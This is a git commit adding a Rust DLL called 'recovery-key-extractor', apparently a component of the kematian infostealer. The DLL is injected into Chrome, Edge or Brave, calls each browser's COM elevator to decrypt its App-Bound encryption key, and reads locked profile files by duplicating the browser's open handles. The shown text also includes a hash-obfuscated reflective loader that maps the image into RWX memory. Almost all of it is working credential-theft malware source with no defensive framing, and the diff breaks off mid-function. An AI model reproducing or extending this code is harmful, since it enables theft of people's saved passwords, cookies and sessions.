initial commit

This commit is contained in:
i2p
2026-08-27 11:21:43 -06:00
commit f25acb03f3
84 changed files with 12747 additions and 0 deletions
+6
View File
@@ -0,0 +1,6 @@
# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL
# dependency at runtime. Only the GNU target is supported: the reflective
# loader manually maps the image, and the MSVC CRT's TLS/CFG/stack-cookie
# machinery fast-fails under a manual map.
[target.x86_64-pc-windows-gnu]
rustflags = ["-C", "target-feature=+crt-static"]
+1
View File
@@ -0,0 +1 @@
/target
+7
View File
@@ -0,0 +1,7 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "recovery-key-extractor"
version = "0.1.0"
+15
View File
@@ -0,0 +1,15 @@
[package]
name = "recovery-key-extractor"
version = "0.1.0"
edition = "2021"
[lib]
name = "recovery_key_extractor"
crate-type = ["cdylib"]
[profile.release]
opt-level = 3
lto = true
codegen-units = 1
panic = "unwind"
strip = true
+138
View File
@@ -0,0 +1,138 @@
//! Raw Win32 FFI declarations and constants used by the payload.
//!
//! These are resolved through the normal PE import table, which the reflective
//! loader fixes up before DllMain runs.
#![allow(non_snake_case)]
#![allow(non_camel_case_types)]
#![allow(dead_code)]
use core::ffi::c_void;
// ---- Handles / return codes ----
pub const INVALID_HANDLE_VALUE: usize = usize::MAX;
// ---- CreateFileW ----
pub const GENERIC_READ: u32 = 0x8000_0000;
pub const GENERIC_WRITE: u32 = 0x4000_0000;
pub const FILE_SHARE_READ: u32 = 0x1;
pub const FILE_SHARE_WRITE: u32 = 0x2;
pub const FILE_SHARE_DELETE: u32 = 0x4;
pub const OPEN_EXISTING: u32 = 3;
pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x80;
// ---- GetFileType ----
pub const FILE_TYPE_DISK: u32 = 0x0001;
// ---- DuplicateHandle ----
pub const DUPLICATE_SAME_ACCESS: u32 = 0x0000_0002;
// ---- Errors ----
pub const ERROR_SHARING_VIOLATION: u32 = 32;
// ---- GetFileSize ----
pub const INVALID_FILE_SIZE: u32 = 0xFFFF_FFFF;
// ---- COM ----
pub const COINIT_APARTMENTTHREADED: u32 = 0x2;
pub const CLSCTX_LOCAL_SERVER: u32 = 0x4;
pub const RPC_C_AUTHN_DEFAULT: u32 = 0xFFFF_FFFF;
pub const RPC_C_AUTHZ_DEFAULT: u32 = 0xFFFF_FFFF;
pub const RPC_C_AUTHN_LEVEL_PKT_PRIVACY: u32 = 6;
pub const RPC_C_IMP_LEVEL_IMPERSONATE: u32 = 3;
pub const EOAC_DYNAMIC_CLOAKING: u32 = 0x40;
pub const RPC_E_CHANGED_MODE: i32 = 0x8001_0106u32 as i32;
// ---- GUID ----
#[repr(C)]
#[derive(Clone, Copy)]
pub struct GUID {
pub data1: u32,
pub data2: u16,
pub data3: u16,
pub data4: [u8; 8],
}
#[link(name = "kernel32")]
extern "system" {
pub fn DisableThreadLibraryCalls(hLibModule: usize) -> i32;
pub fn GetEnvironmentVariableW(
lpName: *const u16,
lpBuffer: *mut u16,
nSize: u32,
) -> u32;
pub fn CreateFileW(
lpFileName: *const u16,
dwDesiredAccess: u32,
dwShareMode: u32,
lpSecurityAttributes: *mut c_void,
dwCreationDisposition: u32,
dwFlagsAndAttributes: u32,
hTemplateFile: usize,
) -> usize;
pub fn ReadFile(
hFile: usize,
lpBuffer: *mut c_void,
nNumberOfBytesToRead: u32,
lpNumberOfBytesRead: *mut u32,
lpOverlapped: *mut c_void,
) -> i32;
pub fn WriteFile(
hFile: usize,
lpBuffer: *const c_void,
nNumberOfBytesToWrite: u32,
lpNumberOfBytesWritten: *mut u32,
lpOverlapped: *mut c_void,
) -> i32;
pub fn FlushFileBuffers(hFile: usize) -> i32;
pub fn CloseHandle(hObject: usize) -> i32;
pub fn GetFileType(hFile: usize) -> u32;
pub fn GetFinalPathNameByHandleW(
hFile: usize,
lpszFilePath: *mut u16,
cchFilePath: u32,
dwFlags: u32,
) -> u32;
pub fn DuplicateHandle(
hSourceProcessHandle: usize,
hSourceHandle: usize,
hTargetProcessHandle: usize,
lpTargetHandle: *mut usize,
dwDesiredAccess: u32,
bInheritHandle: i32,
dwOptions: u32,
) -> i32;
pub fn GetCurrentProcess() -> usize;
pub fn GetFileSize(hFile: usize, lpFileSizeHigh: *mut u32) -> u32;
pub fn GetLastError() -> u32;
}
#[link(name = "ole32")]
extern "system" {
pub fn CoInitializeEx(pvReserved: *mut c_void, dwCoInit: u32) -> i32;
pub fn CoUninitialize();
pub fn CoCreateInstance(
rclsid: *const GUID,
pUnkOuter: *mut c_void,
dwClsContext: u32,
riid: *const GUID,
ppv: *mut *mut c_void,
) -> i32;
pub fn CoSetProxyBlanket(
pProxy: *mut c_void,
dwAuthnSvc: u32,
dwAuthzSvc: u32,
pServerPrincName: *mut u16,
dwAuthnLevel: u32,
dwImpLevel: u32,
pAuthInfo: *mut c_void,
dwCapabilities: u32,
) -> i32;
}
#[link(name = "oleaut32")]
extern "system" {
pub fn SysAllocStringByteLen(psz: *const u8, len: u32) -> *mut u16;
pub fn SysFreeString(bstrString: *mut u16);
pub fn SysStringByteLen(bstrString: *mut u16) -> u32;
}
+38
View File
@@ -0,0 +1,38 @@
//! recovery-key-extractor — Rust port of the injected browser key extractor.
//!
//! On DLL_PROCESS_ATTACH the DLL reads the `RECOVERY_PIPE` environment
//! variable and spawns a worker thread that services `KEY:`/`READ:`/`EXIT`
//! commands over that named pipe. The DLL is reflectively mapped into the
//! browser process by the Go injector, which starts a thread on the exported
//! `ReflectiveLoader` entry point; that loader (see `reflective.rs`) maps the
//! image, resolves imports and relocations, and finally invokes `DllMain`.
#![allow(clippy::missing_safety_doc)]
#![allow(non_snake_case)]
mod abi;
mod payload;
mod reflective;
use core::ffi::c_void;
const DLL_PROCESS_ATTACH: u32 = 1;
#[unsafe(no_mangle)]
pub extern "system" fn DllMain(h_instance: *mut c_void, reason: u32, reserved: *mut c_void) -> i32 {
if reason == DLL_PROCESS_ATTACH {
unsafe {
let _ = abi::DisableThreadLibraryCalls(h_instance as usize);
}
payload::on_attach(reserved as *const u16);
}
1
}
/// Reflective loader entry point. The Go injector resolves this export by name
/// and starts a thread on it inside the target process.
#[unsafe(no_mangle)]
#[inline(never)]
pub extern "system" fn ReflectiveLoader(lpParameter: usize) -> usize {
reflective::loader_impl(lpParameter)
}
+606
View File
@@ -0,0 +1,606 @@
//! Injected-payload logic, ported from key_extractor.cpp.
//!
//! On attach the payload reads the pipe name from the `RECOVERY_PIPE`
//! environment variable and spawns a worker thread that services a length-
//! prefixed protocol: `KEY:browser:base64` (App-Bound/v20 key decryption via
//! the browser's COM elevator) and `READ:path` (read a file, transparently
//! duplicating the owning process's open handle on a sharing violation).
use core::ffi::c_void;
use core::ptr;
use crate::abi::{self, GUID};
const MAX_MSG: u32 = 16384;
const MAX_FILE: u32 = 50 * 1024 * 1024; // 50MB
const ENV_BUF: u32 = 512;
const PATH_BUF: usize = 32768;
// ---- OVERLAPPED (x64 layout) ----
#[repr(C)]
#[derive(Clone, Copy)]
struct Overlapped {
internal: usize,
internal_high: usize,
offset: u32,
offset_high: u32,
h_event: usize,
}
impl Overlapped {
fn zeroed() -> Self {
Overlapped {
internal: 0,
internal_high: 0,
offset: 0,
offset_high: 0,
h_event: 0,
}
}
}
// ---- base64 decode (standard, padded) ----
fn b64_val(c: u8) -> i32 {
match c {
b'A'..=b'Z' => (c - b'A') as i32,
b'a'..=b'z' => (c - b'a' + 26) as i32,
b'0'..=b'9' => (c - b'0' + 52) as i32,
b'+' => 62,
b'/' => 63,
_ => -1,
}
}
fn base64_decode(s: &[u8]) -> Vec<u8> {
let mut out = Vec::new();
let mut acc: u32 = 0;
let mut bits: u32 = 0;
for &c in s {
if c == b'=' {
break;
}
let v = b64_val(c);
if v < 0 {
continue;
}
acc = (acc << 6) | v as u32;
bits += 6;
if bits >= 8 {
bits -= 8;
out.push((acc >> bits) as u8);
}
}
out
}
// ---- wide / utf helpers ----
fn utf8_to_wide(bytes: &[u8]) -> Vec<u16> {
let s = String::from_utf8_lossy(bytes);
let mut v: Vec<u16> = s.encode_utf16().collect();
v.push(0);
v
}
fn ascii_eq_ignore_case(a: &[u8], b: &[u8]) -> bool {
if a.len() != b.len() {
return false;
}
a.iter().zip(b.iter()).all(|(&x, &y)| x.to_ascii_lowercase() == y.to_ascii_lowercase())
}
/// Case-sensitive wide substring search (matches the C `wcsstr` behavior).
fn wide_contains(haystack: &[u16], needle: &[u16]) -> bool {
if needle.is_empty() {
return true;
}
if haystack.len() < needle.len() {
return false;
}
(0..=haystack.len() - needle.len()).any(|i| &haystack[i..i + needle.len()] == needle)
}
// ---- pipe helpers ----
unsafe fn pipe_read_exact(h: usize, buf: *mut u8, len: u32) -> bool {
let mut off = 0u32;
while off < len {
let mut rd = 0u32;
let ok = abi::ReadFile(
h,
buf.add(off as usize) as *mut c_void,
len - off,
&mut rd,
ptr::null_mut(),
);
if ok == 0 || rd == 0 {
return false;
}
off += rd;
}
true
}
unsafe fn pipe_write_all(h: usize, buf: *const u8, len: u32) -> bool {
let mut off = 0u32;
while off < len {
let mut wr = 0u32;
let ok = abi::WriteFile(
h,
buf.add(off as usize) as *const c_void,
len - off,
&mut wr,
ptr::null_mut(),
);
if ok == 0 || wr == 0 {
return false;
}
off += wr;
}
true
}
unsafe fn send_response(h: usize, status: u8, data: &[u8]) -> bool {
let total = 1u32 + data.len() as u32;
let len_bytes = total.to_le_bytes();
if !pipe_write_all(h, len_bytes.as_ptr(), 4) {
return false;
}
if !pipe_write_all(h, &status as *const u8, 1) {
return false;
}
if !data.is_empty() && !pipe_write_all(h, data.as_ptr(), data.len() as u32) {
return false;
}
abi::FlushFileBuffers(h);
true
}
// ---- COM elevator (IElevator / IEdgeElevator) ----
// Chrome/Brave: IUnknown + RunRecoveryCRXElevated + EncryptData + DecryptData
#[repr(C)]
struct IElevatorVtbl {
query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32,
add_ref: unsafe extern "system" fn(*mut c_void) -> u32,
release: unsafe extern "system" fn(*mut c_void) -> u32,
run_recovery_crx_elevated: unsafe extern "system" fn(
*mut c_void,
*const u16,
*const u16,
*const u16,
*const u16,
u32,
*mut usize,
) -> i32,
encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32,
decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32,
}
// Edge: IUnknown + 3 base methods + RunRecoveryCRXElevated + EncryptData + DecryptData
#[repr(C)]
struct IEdgeElevatorVtbl {
query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32,
add_ref: unsafe extern "system" fn(*mut c_void) -> u32,
release: unsafe extern "system" fn(*mut c_void) -> u32,
edge_method1: unsafe extern "system" fn(*mut c_void) -> i32,
edge_method2: unsafe extern "system" fn(*mut c_void) -> i32,
edge_method3: unsafe extern "system" fn(*mut c_void) -> i32,
run_recovery_crx_elevated: unsafe extern "system" fn(
*mut c_void,
*const u16,
*const u16,
*const u16,
*const u16,
u32,
*mut usize,
) -> i32,
encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32,
decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32,
}
const CLSID_CHROME: GUID = GUID {
data1: 0x708860E0,
data2: 0xF641,
data3: 0x4611,
data4: [0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B],
};
const IID_CHROME: GUID = GUID {
data1: 0x463ABECF,
data2: 0x410D,
data3: 0x407F,
data4: [0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8],
};
const IID_CHROME2: GUID = GUID {
data1: 0x1BF5208B,
data2: 0x295F,
data3: 0x4992,
data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38],
};
const CLSID_EDGE: GUID = GUID {
data1: 0x1FCBE96C,
data2: 0x1697,
data3: 0x43AF,
data4: [0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67],
};
const IID_EDGE: GUID = GUID {
data1: 0xC9C2B807,
data2: 0x7731,
data3: 0x4F34,
data4: [0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B],
};
const IID_EDGE2: GUID = GUID {
data1: 0x8F7B6792,
data2: 0x784D,
data3: 0x4047,
data4: [0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05],
};
const CLSID_BRAVE: GUID = GUID {
data1: 0x576B31AF,
data2: 0x6369,
data3: 0x4B6B,
data4: [0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B],
};
const IID_BRAVE: GUID = GUID {
data1: 0xF396861E,
data2: 0x0C8E,
data3: 0x4C71,
data4: [0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9],
};
const IID_BRAVE2: GUID = GUID {
data1: 0x1BF5208B,
data2: 0x295F,
data3: 0x4992,
data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38],
};
const COLE_DEFAULT_PRINCIPAL: *mut u16 = usize::MAX as *mut u16;
unsafe fn set_proxy_blanket(ptr: *mut c_void) {
abi::CoSetProxyBlanket(
ptr,
abi::RPC_C_AUTHN_DEFAULT,
abi::RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL,
abi::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
abi::RPC_C_IMP_LEVEL_IMPERSONATE,
ptr::null_mut(),
abi::EOAC_DYNAMIC_CLOAKING,
);
}
unsafe fn decrypt_chrome(
clsid: GUID,
iid: GUID,
iid2: GUID,
bstr: *mut u16,
out: *mut *mut u16,
err: *mut u32,
) -> i32 {
let mut ptr: *mut c_void = ptr::null_mut();
let mut hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid2, &mut ptr);
if hr < 0 {
hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid, &mut ptr);
}
if hr < 0 || ptr.is_null() {
return hr;
}
set_proxy_blanket(ptr);
let vtbl = *(ptr as *const *const IElevatorVtbl);
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
((*vtbl).release)(ptr);
hr
}
unsafe fn decrypt_edge(bstr: *mut u16, out: *mut *mut u16, err: *mut u32) -> i32 {
// Try IEdgeElevator2 first, then IEdgeElevator (same vtable layout).
let mut ptr: *mut c_void = ptr::null_mut();
let mut hr = abi::CoCreateInstance(
&CLSID_EDGE,
ptr::null_mut(),
abi::CLSCTX_LOCAL_SERVER,
&IID_EDGE2,
&mut ptr,
);
if hr >= 0 && !ptr.is_null() {
set_proxy_blanket(ptr);
let vtbl = *(ptr as *const *const IEdgeElevatorVtbl);
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
((*vtbl).release)(ptr);
if hr >= 0 && !(*out).is_null() {
return hr;
}
}
ptr = ptr::null_mut();
hr = abi::CoCreateInstance(
&CLSID_EDGE,
ptr::null_mut(),
abi::CLSCTX_LOCAL_SERVER,
&IID_EDGE,
&mut ptr,
);
if hr < 0 || ptr.is_null() {
return hr;
}
set_proxy_blanket(ptr);
let vtbl = *(ptr as *const *const IEdgeElevatorVtbl);
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
((*vtbl).release)(ptr);
hr
}
fn decrypt_via_elevator(enc: &[u8], browser: &[u8]) -> Option<Vec<u8>> {
unsafe {
let hr = abi::CoInitializeEx(ptr::null_mut(), abi::COINIT_APARTMENTTHREADED);
if hr < 0 && hr != abi::RPC_E_CHANGED_MODE {
return None;
}
let bstr_enc = abi::SysAllocStringByteLen(enc.as_ptr(), enc.len() as u32);
if bstr_enc.is_null() {
abi::CoUninitialize();
return None;
}
let mut bstr_plain: *mut u16 = ptr::null_mut();
let mut com_err: u32 = 0;
let hr2 = if ascii_eq_ignore_case(browser, b"edge") {
decrypt_edge(bstr_enc, &mut bstr_plain, &mut com_err)
} else if ascii_eq_ignore_case(browser, b"brave") {
decrypt_chrome(CLSID_BRAVE, IID_BRAVE, IID_BRAVE2, bstr_enc, &mut bstr_plain, &mut com_err)
} else {
decrypt_chrome(CLSID_CHROME, IID_CHROME, IID_CHROME2, bstr_enc, &mut bstr_plain, &mut com_err)
};
abi::SysFreeString(bstr_enc);
let result = if hr2 >= 0 && !bstr_plain.is_null() {
let len = abi::SysStringByteLen(bstr_plain);
if len > 0 && len <= 64 {
let mut key = vec![0u8; len as usize];
ptr::copy_nonoverlapping(bstr_plain as *const u8, key.as_mut_ptr(), len as usize);
Some(key)
} else {
None
}
} else {
None
};
if !bstr_plain.is_null() {
abi::SysFreeString(bstr_plain);
}
abi::CoUninitialize();
result
}
}
// ---- READ handler ----
/// Brute-force the owning process's open file handle by walking handle values
/// and matching the DOS path (ported from `find_open_handle`).
unsafe fn find_open_handle(target_path: &[u16]) -> usize {
let mut sep_count = 0;
let mut suffix_start = 0usize;
let mut i = target_path.len();
while i > 0 && sep_count < 2 {
i -= 1;
if target_path[i] == b'\\' as u16 {
sep_count += 1;
if sep_count == 2 {
suffix_start = i;
}
}
}
let suffix = &target_path[suffix_start..];
let mut h = 4usize;
while h < 0x10000 {
if abi::GetFileType(h) == abi::FILE_TYPE_DISK {
let mut name = [0u16; PATH_BUF];
let len = abi::GetFinalPathNameByHandleW(h, name.as_mut_ptr(), PATH_BUF as u32, 0);
if len > 0 && (len as usize) < PATH_BUF {
let slice = &name[..len as usize];
if wide_contains(slice, suffix) {
let mut dup = 0usize;
if abi::DuplicateHandle(
abi::GetCurrentProcess(),
h,
abi::GetCurrentProcess(),
&mut dup,
0,
0,
abi::DUPLICATE_SAME_ACCESS,
) != 0
{
return dup;
}
}
}
}
h += 4;
}
abi::INVALID_HANDLE_VALUE
}
unsafe fn handle_read(h: usize, utf8path: &[u8]) {
let wide = utf8_to_wide(utf8path);
let mut hfile = abi::CreateFileW(
wide.as_ptr(),
abi::GENERIC_READ,
abi::FILE_SHARE_READ | abi::FILE_SHARE_WRITE | abi::FILE_SHARE_DELETE,
ptr::null_mut(),
abi::OPEN_EXISTING,
abi::FILE_ATTRIBUTE_NORMAL,
0,
);
let mut via_dup = false;
if hfile == abi::INVALID_HANDLE_VALUE && abi::GetLastError() == abi::ERROR_SHARING_VIOLATION {
hfile = find_open_handle(&wide[..wide.len() - 1]);
via_dup = true;
}
if hfile == abi::INVALID_HANDLE_VALUE {
send_response(h, 1, b"open failed");
return;
}
let size = abi::GetFileSize(hfile, ptr::null_mut());
if size == abi::INVALID_FILE_SIZE || size > MAX_FILE {
abi::CloseHandle(hfile);
send_response(h, 1, b"bad size");
return;
}
let mut data = vec![0u8; size as usize];
let mut rd = 0u32;
let ok = if via_dup {
let mut ov = Overlapped::zeroed();
abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, &mut ov as *mut Overlapped as *mut c_void) != 0
&& rd == size
} else {
abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, ptr::null_mut()) != 0
&& rd == size
};
abi::CloseHandle(hfile);
if ok {
send_response(h, 0, &data);
} else if via_dup {
send_response(h, 1, b"dup read fail");
} else {
send_response(h, 1, b"read fail");
}
}
// ---- KEY handler ----
unsafe fn handle_key(h: usize, args: &[u8]) {
let Some(pos) = args.iter().position(|&c| c == b':') else {
send_response(h, 1, b"bad format");
return;
};
let (browser, b64) = args.split_at(pos);
let enc = base64_decode(&b64[1..]);
if enc.len() < 5 {
send_response(h, 1, b"small key");
return;
}
match decrypt_via_elevator(&enc, browser) {
Some(key) => {
send_response(h, 0, &key);
}
None => {
send_response(h, 1, b"decrypt failed");
}
}
}
// ---- worker thread ----
unsafe fn worker(pipe: &[u16]) -> u32 {
let h = abi::CreateFileW(
pipe.as_ptr(),
abi::GENERIC_READ | abi::GENERIC_WRITE,
0,
ptr::null_mut(),
abi::OPEN_EXISTING,
0,
0,
);
if h == abi::INVALID_HANDLE_VALUE {
return 1;
}
loop {
let mut msg_len: u32 = 0;
if !pipe_read_exact(h, &mut msg_len as *mut u32 as *mut u8, 4)
|| msg_len == 0
|| msg_len > MAX_MSG
{
break;
}
let mut msg = vec![0u8; msg_len as usize];
if !pipe_read_exact(h, msg.as_mut_ptr(), msg_len) {
break;
}
if msg.len() >= 4 && &msg[..4] == b"KEY:" {
handle_key(h, &msg[4..]);
} else if msg.len() >= 5 && &msg[..5] == b"READ:" {
handle_read(h, &msg[5..]);
} else if msg.len() >= 4 && &msg[..4] == b"EXIT" {
break;
} else {
send_response(h, 1, b"unknown");
}
}
abi::CloseHandle(h);
0
}
fn read_env_wide(name: &str) -> Option<Vec<u16>> {
let mut name_w: Vec<u16> = name.encode_utf16().collect();
name_w.push(0);
let mut buf = vec![0u16; ENV_BUF as usize];
unsafe {
let len = abi::GetEnvironmentVariableW(name_w.as_ptr(), buf.as_mut_ptr(), ENV_BUF);
if len == 0 || len >= ENV_BUF {
return None;
}
buf.truncate(len as usize);
Some(buf)
}
}
/// Read a NUL-terminated UTF-16 string from a pointer (the pipe name passed
/// through lpParameter by the injector).
fn read_wide_from_ptr(p: *const u16) -> Option<Vec<u16>> {
if p.is_null() {
return None;
}
let mut v = Vec::new();
let mut i = 0usize;
unsafe {
loop {
let c = *p.add(i);
if c == 0 {
break;
}
v.push(c);
i += 1;
if i > 4096 {
return None;
}
}
}
if v.is_empty() {
None
} else {
Some(v)
}
}
pub fn on_attach(lp_param: *const u16) {
// Prefer the pipe name passed in memory by the injector (works for running
// browsers); fall back to the inherited env var for spawned headless ones.
let pipe = read_wide_from_ptr(lp_param)
.or_else(|| read_env_wide("RECOVERY_PIPE"));
if let Some(pipe) = pipe {
let mut p = pipe;
p.push(0);
let _ = std::thread::Builder::new()
.name("kematian-extractor".to_string())
.spawn(move || unsafe {
worker(&p);
});
}
}
+469
View File
@@ -0,0 +1,469 @@
//! Position-independent reflective loader, pure Rust (no C).
//!
//! This is a direct port of the Harmony Security `ReflectiveLoader` approach.
//! The injection stubs copy this DLL's raw bytes into a remote process and
//! start a thread on the exported `ReflectiveLoader` entry. When that thread
//! begins, the copied image is *not* relocated and its imports are *not*
//! resolved, so this function must be position independent end to end:
//!
//! - It never reads relocatable data. All image structures are reached by
//! computing addresses at runtime and reading with volatile scalar loads.
//! - It resolves `LoadLibraryA`, `GetProcAddress`, `VirtualAlloc`,
//! `NtFlushInstructionCache` and `RtlAddFunctionTable` by walking the PEB
//! module list and export tables by hand. Module names are matched by a
//! rotate hash of *immediate* constants — never through `.rodata` string
//! literals, because a RIP-relative load into the file-offset-mapped raw
//! copy would read the wrong bytes until the image has been relocated.
//! - It copies the image into a fresh RWX allocation, fixes up imports,
//! applies relocations, registers `.pdata` for exception unwinding and
//! finally invokes the DLL's entry point.
//!
//! All loops use `wrapping_*` arithmetic and every memory access is volatile
//! so the compiler cannot lower any access to a `memcpy`/`memset` libcall or
//! introduce a panic edge (both would route through a not-yet-loaded IAT or
//! unwinder).
use core::arch::asm;
const MEM_RESERVE_COMMIT: u32 = 0x0000_3000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
const DLL_PROCESS_ATTACH: u32 = 1;
// rotate-right-by-1 hashes of the names the loader resolves.
const KERNEL32_HASH: u32 = 0xC3A0_008F;
const NTDLL_HASH: u32 = 0xE600_0091;
const LOADLIBRARYA_HASH: u32 = 0x8DC0_0093;
const GETPROCADDRESS_HASH: u32 = 0x8708_00A0;
const VIRTUALALLOC_HASH: u32 = 0xB800_008F;
const NTFLUSH_HASH: u32 = 0xED3A_788A;
type LoadLibraryFn = unsafe extern "system" fn(name: *const u8) -> usize;
type GetProcAddressFn = unsafe extern "system" fn(module: usize, name: *const u8) -> usize;
type VirtualAllocFn = unsafe extern "system" fn(
addr: usize,
size: usize,
allocation_type: u32,
protect: u32,
) -> usize;
type NtFlushFn = unsafe extern "system" fn(handle: isize, base: usize, len: usize) -> i32;
type RtlAddFunctionTableFn = unsafe extern "system" fn(
function_table: usize,
entry_count: u32,
base_address: u64,
) -> i32;
type DllMainFn = unsafe extern "system" fn(hinstance: usize, reason: u32, reserved: usize) -> i32;
// ---- Volatile scalar memory access (never lowered to libcalls) ----
#[inline(always)]
unsafe fn rd_u8(p: usize, off: usize) -> u8 {
core::ptr::read_volatile((p + off) as *const u8)
}
#[inline(always)]
unsafe fn rd_u16(p: usize, off: usize) -> u16 {
core::ptr::read_volatile((p + off) as *const u16)
}
#[inline(always)]
unsafe fn rd_u32(p: usize, off: usize) -> u32 {
core::ptr::read_volatile((p + off) as *const u32)
}
#[inline(always)]
unsafe fn rd_u64(p: usize, off: usize) -> u64 {
core::ptr::read_volatile((p + off) as *const u64)
}
#[inline(always)]
unsafe fn wr_u8(p: usize, off: usize, v: u8) {
core::ptr::write_volatile((p + off) as *mut u8, v);
}
#[inline(always)]
unsafe fn wr_u64(p: usize, off: usize, v: u64) {
core::ptr::write_volatile((p + off) as *mut u64, v);
}
// Unaligned-safe read so the base scan can step byte-by-byte.
#[inline(always)]
unsafe fn rd_u16_bytes(p: usize) -> u16 {
rd_u8(p, 0) as u16 | ((rd_u8(p, 1) as u16) << 8)
}
#[inline(always)]
unsafe fn copy_bytes(dst: usize, src: usize, len: usize) {
for i in 0..len {
core::ptr::write_volatile((dst + i) as *mut u8, core::ptr::read_volatile((src + i) as *const u8));
}
}
// ---- Immediate materializers: build byte strings without .rodata ----
#[inline(always)]
unsafe fn fill_u64(dst: usize, lit: u64) {
wr_u8(dst, 0, (lit & 0xFF) as u8);
wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8);
wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8);
wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8);
wr_u8(dst, 4, ((lit >> 32) & 0xFF) as u8);
wr_u8(dst, 5, ((lit >> 40) & 0xFF) as u8);
wr_u8(dst, 6, ((lit >> 48) & 0xFF) as u8);
wr_u8(dst, 7, ((lit >> 56) & 0xFF) as u8);
}
#[inline(always)]
unsafe fn fill_u32(dst: usize, lit: u32) {
wr_u8(dst, 0, (lit & 0xFF) as u8);
wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8);
wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8);
wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8);
}
// ---- Position-independent runtime resolution ----
/// Current instruction pointer, obtained with a RIP-relative LEA so it is
/// valid before the image is relocated.
#[inline(never)]
fn rip_here() -> usize {
let ip: usize;
unsafe {
asm!(
"lea {}, [rip]",
out(reg) ip,
options(nomem, nostack, preserves_flags),
);
}
ip
}
/// x64 Process Environment Block via `gs:[0x60]`.
#[inline(never)]
unsafe fn peb_pointer() -> usize {
let peb: usize;
unsafe {
asm!(
"mov {}, qword ptr gs:[0x60]",
out(reg) peb,
options(nostack, preserves_flags),
);
}
peb
}
/// Scan backwards from `start` for the MZ/PE header of the running image.
unsafe fn find_image_base(start: usize) -> usize {
let mut p = start;
loop {
if p == 0 {
return 0;
}
if rd_u16_bytes(p) == 0x5A4D {
let lfanew = rd_u32(p, 0x3C) as usize;
if (0x40..1024).contains(&lfanew) {
let nt = p + lfanew;
if rd_u32(nt, 0) == 0x0000_4550 {
return p;
}
}
}
p = p.wrapping_sub(1);
}
}
/// Rotate `v` right by one bit.
#[inline(always)]
fn ror1(v: u32) -> u32 {
v.wrapping_shr(1) | v.wrapping_shl(31)
}
/// ror hash of a UTF-16 code-unit buffer (case-normalized).
unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 {
let mut h: u32 = 0;
let mut i = 0;
while i < nchars {
let c = rd_u16(ptr, i * 2);
h = ror1(h);
if (0x61..=0x7A).contains(&c) {
h = h.wrapping_add((c - 0x20) as u32);
} else {
h = h.wrapping_add(c as u32);
}
i += 1;
}
h
}
/// ror hash of a NUL-terminated ASCII string, case-normalized as above.
unsafe fn hash_ascii(ptr: usize) -> u32 {
let mut h: u32 = 0;
let mut i = 0;
loop {
let c = rd_u8(ptr, i) as u32;
if c == 0 {
return h;
}
h = ror1(h);
if (0x61..=0x7A).contains(&c) {
h = h.wrapping_add(c - 0x20);
} else {
h = h.wrapping_add(c);
}
i += 1;
}
}
/// Walk the loaded-module list for the module whose base-name rotates to
/// `want`; returns its base address or 0.
unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize {
let ldr = rd_u64(peb, 0x18) as usize;
if ldr == 0 {
return 0;
}
let head = rd_u64(ldr, 0x20) as usize;
if head == 0 {
return 0;
}
let mut cur = head;
loop {
if cur == 0 {
return 0;
}
let entry = cur.wrapping_sub(0x10);
let name_len = rd_u16(entry, 0x58) as usize;
if name_len > 0 {
let name_ptr = rd_u64(entry, 0x60) as usize;
if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want {
return rd_u64(entry, 0x30) as usize;
}
}
let next = rd_u64(entry, 0x10) as usize;
if next == head || next == cur {
break;
}
cur = next;
}
0
}
/// Resolve an export of `base` by its ror-hashed name; returns its VA or 0.
unsafe fn export_by_hash(base: usize, want: u32) -> usize {
let lfanew = rd_u32(base, 0x3C) as usize;
let dd = base + lfanew + 4 + 20 + 112;
let ed_rva = rd_u32(dd, 0) as usize;
if ed_rva == 0 {
return 0;
}
let ed = base + ed_rva;
let num_names = rd_u32(ed, 24) as usize;
let addr_of_funcs = rd_u32(ed, 28) as usize;
let addr_of_names = rd_u32(ed, 32) as usize;
let addr_of_ord = rd_u32(ed, 36) as usize;
